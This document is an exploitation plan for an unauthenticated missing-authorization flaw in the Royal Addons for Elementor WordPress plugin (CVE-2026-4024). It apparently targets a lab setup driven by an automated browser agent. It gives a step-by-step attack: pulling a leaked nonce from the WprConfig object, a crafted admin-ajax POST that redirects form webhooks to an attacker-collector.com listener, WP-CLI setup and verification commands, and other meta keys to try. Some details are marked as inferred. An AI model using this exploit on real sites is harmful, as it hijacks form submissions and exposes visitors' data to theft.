Exploitation Research Plan - CVE-2026-4024

1. Vulnerability Summary

The Royal Addons for Elementor plugin (up to version 1.7.1056) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function wpr_update_form_action_meta is registered to both wp_ajax and wp_ajax_nopriv hooks, making it accessible to unauthenticated users. The function allows the modification of post metadata without verifying if the requesting user has the authority to edit the post or the settings. While it performs a nonce check (wpr-addons-js), this nonce is leaked on the frontend via the WprConfig.nonce JavaScript variable, rendering the protection ineffective.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpr_update_form_action_meta
• HTTP Method: POST
• Authentication: Unauthenticated
• Required Parameters:
  • action: wpr_update_form_action_meta
  • nonce: The value of wpr-addons-js (found in WprConfig.nonce)
  • post_id: The ID of the post/page to modify.
  • meta_key: A whitelisted meta key (e.g., wpr_form_webhook_url, wpr_form_email_to) (inferred from description).
  • meta_value: The new value for the meta key (e.g., an attacker-controlled webhook URL).

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wpr_update_form_action_meta.
2. Hook Execution: WordPress triggers the handler registered to wp_ajax_nopriv_wpr_update_form_action_meta.
3. Nonce Verification: The handler calls check_ajax_referer('wpr-addons-js', 'nonce') (inferred). Since the attacker provides the leaked nonce from the frontend, this check passes.
4. Authorization Check: The handler lacks any call to current_user_can() or ownership checks.
5. Data Update: The handler retrieves post_id, meta_key, and meta_value from the $_POST array.
6. Sink: The handler calls update_post_meta($post_id, $meta_key, $meta_value) after verifying the meta_key against a whitelist of form settings.
7. Result: Metadata associated with a Royal Addons form (like its webhook destination) is modified.

4. Nonce Acquisition Strategy

The nonce is localized for the plugin's frontend scripts. To obtain it:

1. Identify Script Loading: The plugin enqueues WprConfig on pages that use Royal Addons widgets (like the Form Builder).
2. Create Trigger Content: Use WP-CLI to create a page containing a Royal Addons form shortcode or widget.
3. Navigate and Extract:
   • Use browser_navigate to visit the created page.
   • Use browser_eval to extract the nonce from the global WprConfig object.

Extraction JS:

window.WprConfig?.nonce

5. Exploitation Strategy

Step 1: Discover/Create Target

Find an existing post ID or create a dummy page to prove the ability to modify meta.

Step 2: Get the Nonce

Navigate to any frontend page where the plugin is active and extract WprConfig.nonce.

Step 3: Modify Form Settings

Send a crafted AJAX request to redirect form submissions to an external listener.

Request Details:

• URL: http://<target-site>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=wpr_update_form_action_meta&nonce=[EXTRACTED_NONCE]&post_id=[TARGET_ID]&meta_key=wpr_form_webhook_url&meta_value=https://attacker-collector.com/leak

(Note: Based on the description, wpr_form_webhook_url is a likely whitelisted key for the Form Action modification).

6. Test Data Setup

1. Install Plugin: Ensure royal-elementor-addons v1.7.1056 is active.
2. Create Target Page:

   wp post create --post_type=page --post_title="Royal Form Page" --post_status=publish --post_content='[wpr-form-builder]'
   

3. Note the ID: Capture the ID of the created post (e.g., 123).

7. Expected Results

• The AJAX request should return a successful response (likely JSON {"success": true} or a string 1).
• The post meta for the target ID will be updated in the database.

8. Verification Steps

After performing the exploit, verify the database state using WP-CLI:

wp post meta get [TARGET_ID] wpr_form_webhook_url

Success Condition: The command returns https://attacker-collector.com/leak.

9. Alternative Approaches

If wpr_form_webhook_url is not the exact key name, the following keys (whitelisted for form actions) should be tried:

• wpr_form_email_to (Modify where notification emails are sent)
• wpr_form_mailchimp_api_key (Modify Mailchimp integration)
• _wpr_form_webhook_url (Check for underscored prefix)

If the WprConfig object is not found on the homepage, check if it's nested under another object or examine the page source for:
wp_localize_script( ..., 'WprConfig', ... )
to confirm the localization handle.